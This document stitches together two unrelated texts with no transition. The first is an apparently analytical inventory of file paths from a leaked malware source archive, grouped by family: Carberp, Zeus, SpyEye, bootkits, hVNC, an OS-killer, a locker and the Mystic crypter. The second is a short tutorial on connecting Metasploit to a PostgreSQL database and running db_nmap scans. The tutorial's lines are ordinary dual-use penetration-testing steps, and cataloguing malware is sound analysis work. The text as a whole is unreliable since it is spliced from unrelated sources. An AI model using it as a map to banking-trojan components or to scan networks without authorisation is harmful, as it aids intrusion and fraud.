pro\all source\temp\marazm\Droper\Droper_23.01.2012.rar->build\bin\SetupDll.dll
pro\all source\temp\marazm\Droper\Droper_23.01.2012.rar->build\Release\bksetup.exe
pro\all source\temp\marazm\Droper\Droper_23.01.2012.rar->build\Release\setupdll.dll
pro\all source\temp\marazm\Droper\Droper_23.01.2012\build\bin\BkSetup.exe
pro\all source\temp\marazm\Droper\Droper_23.01.2012\build\bin\SetupDll.dll
pro\all source\temp\marazm\Droper\Droper_23.01.2012\build\Release\bksetup.exe
pro\all source\temp\marazm\Droper\Droper_23.01.2012\build\Release\setupdll.dll
pro\source builder plugins inj’s modules etc\Сорцы и Модули\Rootkit.7z->DrvTest/debug/DrvTest.sys
pro\source builder plugins inj’s modules etc\Сорцы и Модули\Rootkit.7z->DrvTest/debug/SpoolNetAdvr.sy_
pro\all source\bootkit\bin\Release\i386\kloader.sys
pro\all source\temp\marazm\Droper\Droper_23.01.2012.rar->build\driver_i386\kloader.sys
pro\all source\temp\marazm\Droper\Droper_23.01.2012\build\driver_i386\kloader.sys
pro\all source\TZ\bootkit\BK\bin\release\i386\kloader.sys
pro\all source\bootkit.old\KLoader\release\amd64\kloader.sys
pro\all source\BootkitDropper\nbuild\SrcDir\BkSetup.dll

Alureon related (dropper of old variants, still ITW)

pro\all source\DropSploit1.rar->DropSploit1\out\builder_Release.exe
pro\all source\DropSploit1.rar->DropSploit1\out\Release\dropper.exe
pro\all source\DropSploit1\out\builder_Release.exe
pro\all source\DropSploit1\out\Release\dropper.exe
pro\all source\DropSploit\out\builder_Release.exe
pro\all source\DropSploit\out\builder_Release.sys
pro\all source\DropSploit\out\dropper.dll
pro\all source\DropSploit\out\Release\dropper.dll
pro\all source\DropSploit\test\1\builder_Release.exe
pro\all source\DropSploit\test\2\builder_Release.exe
pro\all source\DropSploit\test\3\builder_Release.exe
pro\all source\DropSploit\test\5\builder_Release.exe
pro\all source\DropSploit\test\6\builder_Release.exe
pro\all source\DropSploit\test\7\builder_Release.exe
pro\all source\DropSploit\test\8\builder_Release.exe

Claywhist (VNC) related
pro\all source\RemoteCtl\Release\hvnc.exe

Phdet related

pro\all source\TZ\kill_os\bin\os_kill_debug.exe
pro\all source\TZ\kill_os\os_kill_src.7z->os_kill_src/bin/os_kill.exe
pro\all source\TZ\kill_os\os_kill_src.7z->os_kill_src/bin/os_kill_debug.exe
pro\source builder plugins inj’s modules etc\Сорцы и Модули\os_kill_src.7z->os_kill_src/bin/os_kill.exe
pro\source builder plugins inj’s modules etc\Сорцы и Модули\os_kill_src.7z->os_kill_src/bin/os_kill_debug.exe

Zeus related

pro\all source\GrabberIE_FF\Release\GrabberIE_FF.dll
pro\all source\temp\zeus src.rar->zeus src\output\builder\zsb.exe
pro\all source\temp\zeus src.rar->zeus src\output\client32.bin
pro\all source\ZeuS 2.0.8.9\output\builder\zsb.exe
pro\source builder plugins inj’s modules etc\Сорцы и Модули\zeus2089.7z->zeus2089/output/builder/zsb.exe
pro\source builder plugins inj’s modules etc\Сорцы и Модули\zeus2089.7z->zeus2089/output/client32.bin

SpyEye related

pro\source builder plugins inj’s modules etc\Сорцы и Модули\spyinject2.zip->iehookdll_mod.dll
pro\all source\RemoteCtl\Release\rdp.dll
pro\all source\temp\rdp.dll
pro\all source\temp\rdp.exe
pro\all source\TZ\rdp\rdp.plug
pro\source builder plugins inj’s modules etc\plugs\rdp.plug

Vundo related

pro\all source\AgentFullTest.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\BootkitRunBot.dll
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\MiniLoader.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\new.exe
pro\all source\BJWJ\Builds\Bin\Release\blockav2.exe
pro\all source\BJWJ\Builds\Bin\Release\BootkitRunBot.dll
pro\all source\BJWJ\Builds\Bin\Release\MiniLoader.exe
pro\all source\BJWJ\Builds\Bin\Release\new.exe
pro\all source\bootkit\BkBuild\BootkitRunBot.dll
pro\all source\Demo_Cur2\WhiteJoe\Release\WhiteJOE_Bank.exe
pro\all source\keys\Builds\Bin\Debug\RU.exe
pro\all source\temp\marazm\Droper\Droper_23.01.2012.rar->build\WhiteJoe.dll
pro\all source\temp\marazm\Droper\Droper_23.01.2012\build\WhiteJoe.dll
pro\all source\Инфа по буткиту\Инсталятор БК\BootkitDropperPlugBuild\SrcDir\BkInstaller.dll
pro\source builder plugins inj’s modules etc\ConfigBuilder\ConfigBuilder\ConfigBuilder.exe
pro\source builder plugins inj’s modules etc\ConfigBuilder\for test\ConfigBuilder.exe

Carberp itself

pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\BootkitDropper.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\bot.plug
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\disktest.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\FakeDll.plug
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\RU_Az1.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\RU_Az_DBG.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\RU_Az_DBG1.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\RU_Az_DBG2.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\RU_Az_FDI_DBG.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\RU_DBG.exe
pro\all source\BJWJ\Builds\Bin\Release\bki.plug
pro\all source\BJWJ\Builds\Bin\Release\bktest.exe
pro\all source\BJWJ\Builds\Bin\Release\blockav.exe
pro\all source\BJWJ\Builds\Bin\Release\blockav1.exe
pro\all source\BJWJ\Builds\Bin\Release\bootkit.exe
pro\all source\BJWJ\Builds\Bin\Release\BootkitDropper.exe
pro\all source\BJWJ\Builds\Bin\Release\bot.plug
pro\all source\BJWJ\Builds\Bin\Release\docfind.exe
pro\all source\BJWJ\Builds\Bin\Release\first.plug
pro\all source\BJWJ\Builds\Bin\Release\Full.exe
pro\all source\BJWJ\Builds\Bin\Release\ifobstst.exe
pro\all source\BJWJ\Builds\Bin\Release\livrus.exe
pro\all source\BJWJ\Builds\Bin\Release\Loader_dll.dll
pro\all source\BJWJ\Builds\Bin\Release\mmm.exe
pro\all source\BJWJ\Builds\Bin\Release\mybot.exe
pro\all source\BJWJ\Builds\Bin\Release\mytest.exe
pro\all source\BJWJ\Builds\Bin\Release\ola.exe
pro\all source\BJWJ\Builds\Bin\Release\ola1.exe
pro\all source\BJWJ\Builds\Bin\Release\ola2.exe
pro\all source\BJWJ\Builds\Bin\Release\RU_Az.exe
pro\all source\BJWJ\Builds\Bin\Release\RU_Az1.exe
pro\all source\BJWJ\Builds\Bin\Release\RU_Az_FDI.exe
pro\all source\BJWJ\Builds\Bin\Release\RU_Az_serg.exe
pro\all source\BJWJ\Builds\Bin\Release\second.plug
pro\all source\BJWJ\Builds\Bin\Release\test.exe
pro\all source\BJWJ\Builds\Bin\Release\testftp.exe
pro\all source\BJWJ\Builds\Bin\Release\testnew.exe
pro\all source\BJWJ\Builds\Bin\Release\testtt.exe
pro\all source\BJWJ\Builds\Bin\Release\tinytst.exe
pro\all source\BJWJ\Builds\Bin\Release\tst.exe
pro\all source\BJWJ\Builds\Bin\Release\vnctest.exe
pro\all source\BJWJ\Builds\Bin\Release\wndrec.exe
pro\all source\BJWJ\Builds\Bin\Release\wndrec2.exe
pro\all source\BootkitDropper\Bin\RDEBUG_CONFIG\WhiteJoe.exe
pro\all source\BootkitDropper\Bin\RDEBUG_CONFIG\WhiteJoeRebootPing.exe
pro\all source\BootkitDropper\Bin\Release\WhiteJoe.exe
pro\all source\BootkitDropper\Bin\Release\WhiteJoeRebootPing.exe
pro\all source\BootkitDropper\nbuild\SrcDir\WhiteJoe.exe
pro\all source\BootkitDropper\nbuild\SrcDir\WhiteJoeRebootPing.dll
pro\all source\BootkitDropper\nbuild\SrcDir\WhiteJoeRebootPing.exe
pro\all source\Bot Builder\WhiteJoeRebootPing.exe
pro\all source\temp\2012-07-04_FakeDllFiles\bot.plug
pro\all source\temp\marazm\Droper\WhiteJoe.exe
pro\all source\test\test\ola.exe
pro\all source\Инфа по буткиту\Инсталятор БК\BootkitDropperPlugBuild\SrcDir\Bot.plug
pro\all source\Инфа по буткиту\Инсталятор БК\BootkitDropperPlugBuild\SrcDir\Loader_dll.dll
pro\all source\Инфа по буткиту\Инсталятор БК\BootkitDropperPlugBuild\SrcDir\WhiteJoeRebootPing.dll
pro\source builder plugins inj’s modules etc\Full.exe
pro\source builder plugins inj’s modules etc\Full_btc.exe
pro\source builder plugins inj’s modules etc\plugs\bki.plug
pro\source builder plugins inj’s modules etc\plugs\bki_log.plug
pro\source builder plugins inj’s modules etc\plugs\bot.plug
pro\source builder plugins inj’s modules etc\plugs\bot_log.plug
pro\source builder plugins inj’s modules etc\plugs\log\bki.plug
pro\source builder plugins inj’s modules etc\plugs\log\bot.plug
pro\source builder plugins inj’s modules etc\RU_Az_btc.exe
pro\source builder plugins inj’s modules etc\RU_Az_if.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\DBG_bot.plug
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\Full.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\Full_SB.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\Full_SB_hnt.exe
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\RU.exe
pro\all source\BJWJ\Builds\Bin\Release\mmmm.exe
pro\all source\BJWJ\Builds\Bin\Release\RU.exe
pro\all source\Demo_Cur.rar->Demo_Cur\WhiteJoe\Debug\WhiteJOE_Bank.exe
pro\all source\Demo_Cur2\WhiteJoe\Debug\WhiteJOE_Bank.exe
pro\all source\Demo_cur\WhiteJoe\Release\WhiteJOE_Bank.exe
pro\all source\Demo_cur_old.7z->WhiteJoe/Debug/WhiteJOE_Bank.exe
pro\all source\keys\Builds\Bin\Release\RU.exe
pro\source builder plugins inj’s modules etc\InjTest.exe
pro\all source\BJWJ\Builds\Bin\BootkitTest\Loader_dll.dll
pro\all source\temp\marazm\Droper\Droper_23.01.2012.rar->build\Loader_dll.dll
pro\all source\temp\marazm\Droper\Droper_23.01.2012\build\Loader_dll.dll
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\CoreDll.dll
pro\all source\BootkitDropper\Bin\Debug\WhiteJoe.exe
pro\all source\BootkitDropper\Bin\Debug\WhiteJoeRebootPing.dll
pro\all source\BootkitDropper\Bin\Debug\WhiteJoeRebootPing.exe
pro\all source\Demo_Cur.rar->Demo_Cur\WhiteJoe\Release\WhiteJOE_Bank.exe
pro\all source\Demo_cur_old.7z->WhiteJoe/Release/WhiteJOE_Bank.exe
pro\all source\Locker\bin\Debug\locker.exe
pro\all source\temp\Demo_cur.7z->Demo_cur/WhiteJoe/Release/WhiteJOE_Bank.exe
pro\all source\temp\Demo_cur\WhiteJoe\Release\WhiteJOE_Bank.exe
pro\all source\TZ\ifobs\Demo_ifobs.7z->Demo_cur/WhiteJoe/Release/WhiteJOE_Bank.exe
pro\all source\TZ\ifobs\dll\iFOBSBal\Demo_iFOBS_src.7z->Demo_cur/WhiteJoe/Release/WhiteJOE_Bank.exe
pro\all source\TZ\ifobs\dll\iFOBSBal\WhiteJOE_Bank.exe
pro\all source\TZ\ifobs\iFobsLdr.7z->Demo_cur/WhiteJoe/Release/WhiteJOE_Bank.exe
pro\all source\TZ\ifobs\src2\Demo_cur\WhiteJoe\Release\WhiteJOE_Bank.exe
pro\all source\WndRec\output\log\IBank\1237\WhiteJoe\Release\WhiteJOE_Bank.exe
pro\all source\BootkitDropper\Bin\RDEBUG_CONFIG\WhiteJoe.dll
pro\all source\BootkitDropper\Bin\RDEBUG_CONFIG\WhiteJoeRebootPing.dll
pro\all source\BootkitDropper\Bin\Release\WhiteJoeRebootPing.dll
pro\all source\BootkitDropper\nbuild\SrcDir\WhiteJoe.dll
pro\all source\bootkit\BkBuild\ping.dll
pro\all source\temp\marazm\Droper\WhiteJoe.dll
pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\Loader.exe

Stoned framework with Black Hat Europe 2007 Vipin Kumar POC, detected as Sinowal
pro\source builder plugins inj’s modules etc\Сорцы и Модули\Stoned Bootkit Framework.zip

There is also a copy of Win32 Obfuscator known as Mystic Compressor.

adminpanel без иконки\bot_adm\cache\cryptor\CRYPTOR.EXE
pro\all source\BootkitDropper\nbuild\Tools\Mystic.exe
pro\all source\Locker\build\Tools\mystic.exe
pro\all source\test\Mystic.exe
pro\all source\Инфа по буткиту\Инсталятор БК\BootkitDropperPlugBuild\Tools\Mystic.exe

This article will just provide some quick steps to get Backbox Linux ready with a DB for Metasploit to use. To learn more about any of the framework commands shown below try running them with a ‘-h’ switch to see the help.

First start postgresql

sudo service postgresql start

Then login as the DBA and create a user and database

su – postgres

CREATE USER user_name WITH PASSWORD ‘SecretPassword’;

CREATE DATABASE db_name;

GRANT ALL PRIVILEGES ON DATABASE db_name to user_name;

\q

Now we launch Metasploit and connect it to our DB

sudo msfconsole

db_connect user_name:SecretPassword@localhost/db_name

db_status

Now let’s create some workspaces to hold our discoveries

workspace -a Company_A

workspace -a Domain_A

workspace -a Network_192

If we have some previously mapped data we can import it to the workspace

workspace Network_192

db_import /home/user/nmaps/*.xml

Or we can just start a new scan to import directly

db_nmap -sV  -O 192.168.0.0/24

Now we should see our scanned hosts and services

hosts

services

Lastly if you want to move the data to other DB servers MSF also provides a quick export function

db_export /home/user/msfdb_dump.xml

That concludes this short lesson, happy hunting!